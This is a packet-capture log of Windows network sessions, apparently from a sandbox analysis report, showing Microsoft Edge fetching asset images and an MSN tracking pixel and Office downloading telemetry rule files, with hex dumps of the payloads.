2024-11-12 03:16:31 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:32 UTC	523	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:32 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 6767f570-501e-0056-07b1-348077000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T031631Z-17df447cdb5lrwcchC1DFWphes0000000bf0000000008d3h Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 03:16:32 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49849	20.125.209.212	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:32 UTC	1261	OUT	GET /c.gif?rnd=1731381388485&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=9b3abdd6251a4230bf51a1aefee3a88a&activityId=9b3abdd6251a4230bf51a1aefee3a88a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=C2568DB3F3164F8F8DB62A832E48B224&MUID=0286CA52A44560A23542DF67A512618F HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0286CA52A44560A23542DF67A512618F; _EDGE_S=F=1&SID=1341F8B1FCF76AE33A6EED84FD4C6B7F; _EDGE_V=1; SM=T
2024-11-12 03:16:32 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 06:33:28 GMT Accept-Ranges: bytes ETag: "b116c54f951fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=0286CA52A44560A23542DF67A512618F; domain=.msn.com; expires=Sun, 07-Dec-2025 03:16:32 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=0286CA52A44560A23542DF67A512618F; domain=c.msn.com; expires=Sun, 07-Dec-2025 03:16:32 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Tue, 19-Nov-2024 03:16:32 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Tue, 12-Nov-2024 03:26:32 GMT; path=/; SameSite=None; Secure; Date: Tue, 12 Nov 2024 03:16:31 GMT Connection: close Content-Length: 42
2024-11-12 03:16:32 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:32 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:32 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: de083b16-101e-0079-14f1-2c5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031632Z-16547b76f7f9bs6dhC1DFWt3rg0000000ez000000000m584 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:32 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:32 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:32 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: db719d09-901e-005b-33cb-322005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031632Z-16547b76f7f8dwtrhC1DFWd1zn0000000f4000000000gedr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:32 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:32 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 2d611ff0-901e-002a-3d01-2d7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031632Z-16547b76f7fm7xw6hC1DFW5px40000000ewg00000000n56h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:32 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:32 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: aa5f00e8-901e-0029-53a0-34274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031632Z-17df447cdb5qkskwhC1DFWeeg40000000bu0000000009q58 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:32 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:32 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:32 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 8b3eb2d7-c01e-0034-7fa1-342af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031632Z-17df447cdb5fh5hghC1DFWam0400000008d000000000dggz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:32 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49862	13.107.246.57	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:32 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:32 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:32 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 9296deb1-201e-003f-34a2-34dfdb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T031632Z-15869dbbcc6tfpj2hC1DFW384c00000008u000000000h067 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-12 03:16:32 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49863	13.107.246.57	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:32 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:33 UTC	516	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:33 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 6767f83c-501e-0056-76b1-348077000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T031632Z-17df447cdb5jg4kthC1DFWux4n0000000be0000000005vhy Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 03:16:33 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49864	23.47.50.115	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:32 UTC	634	OUT	GET /tenant/amp/entityid/BB1msFQA.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:33 UTC	519	IN	HTTP/1.1 200 OK Last-Modified: Wed, 02 Oct 2024 04:14:12 GMT Access-Control-Allow-Origin: * X-Datacenter: eastus X-ActivityId: c23eec77-42c7-4780-9ed9-9f5c2ecaf25e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msFQA X-Source-Length: 67183 Content-Length: 67183 Cache-Control: public, max-age=398906 Expires: Sat, 16 Nov 2024 18:04:58 GMT Date: Tue, 12 Nov 2024 03:16:32 GMT Connection: close
2024-11-12 03:16:33 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-12 03:16:33 UTC	16384	IN	Data Raw: d3 5f 5b a3 b9 4e 4b 44 b6 25 ed b9 ea c3 8b fa b2 eb f0 8a 5d d8 7f 89 9f 01 1f a8 f1 90 dd 5e a7 3b bf cc f5 69 fd 77 8c 86 f7 19 ad 71 f7 58 e3 38 65 d6 32 eb 19 c4 76 fb b8 f1 dc 5f 2b 81 ab cc d3 f9 9d 2b 8e ab ff 00 e9 f1 1d 91 f7 9f 25 0f f8 89 f2 e8 df f6 65 ef 47 a3 1f f8 83 87 7d 68 54 8f 32 7e d3 8c e1 97 fe 5d 63 3c 7b 7b 6f 8e ad ff 00 e9 f1 1f e5 f7 87 df 78 9c b8 2a dc f2 82 f6 9c b1 fa cf 05 2f ee 5b bd 35 ec 3b a3 f5 0e 16 5b ab 43 fa 91 ce a7 ff 00 3f 9b 77 1d b9 5f 17 c7 be af 05 db 51 18 f9 df 56 93 c3 87 a3 1e f9 7f f9 1e da e2 29 cb 74 a2 fb 9a 35 f3 23 a4 5f a4 2f f2 f0 94 be ae f9 3c 3a e7 7e f3 b6 9a e3 ef eb fb bd b5 39 df e4 7a 3b 6b 49 5b 68 97 e9 05 2a d2 d2 3b 3d 24 6d 0f 68 c2 aa c3 b1 37 0b 90 55 86 4d ca b8 0c 04 30 18 c9 Data Ascii: _[NKD%]^;iwqX8e2v_++%eG}hT2~]c<{{ox/[5;[C?w_QV)t5#_/<:~9z;kI[h;=$mh7UM0
2024-11-12 03:16:33 UTC	2358	IN	Data Raw: 9c b7 b6 cc ca 6c cc ac 90 00 82 19 23 00 a0 43 11 00 00 05 00 08 40 30 10 ca c8 10 ee 22 d0 60 20 2a 18 80 45 4b 50 12 32 80 04 74 c6 94 e6 d5 90 1c e0 7b 74 f8 29 3c 5e af 8e 8d 27 ad 0e 16 9c 15 f7 ee df d3 e4 73 9c e1 bd 66 5f 2f 1a 53 96 47 a7 0e 06 4d bd ae 4d ae bf 1f 99 f4 f0 82 4d d9 62 96 36 cb bb 28 fc cc d6 29 46 1b 32 57 eb 3f cb 8f 8a 5f 69 eb 39 4e 73 2e b1 84 38 69 f0 74 e2 d5 f1 ba 78 e4 b4 24 b7 b6 f2 6f 2c 4f 42 9d 28 a5 18 da db 56 95 45 9b b6 4d f2 62 81 cf cc bf 96 fd 2a fb 55 e5 9e 1c 9b e5 95 fb 05 1f 54 56 cf a6 92 b4 a7 52 78 39 db 3c 79 37 ed ee 39 4c cb a4 44 43 aa 36 bc f3 7b 4e 4a 3b ba db 95 fa 59 09 3b 6c df 7a 84 dd 92 e5 4b d2 9b 5a 37 da e6 49 ed 47 6a 2f 62 9a 77 95 49 61 29 e3 8b 57 dd 7d 2f 17 90 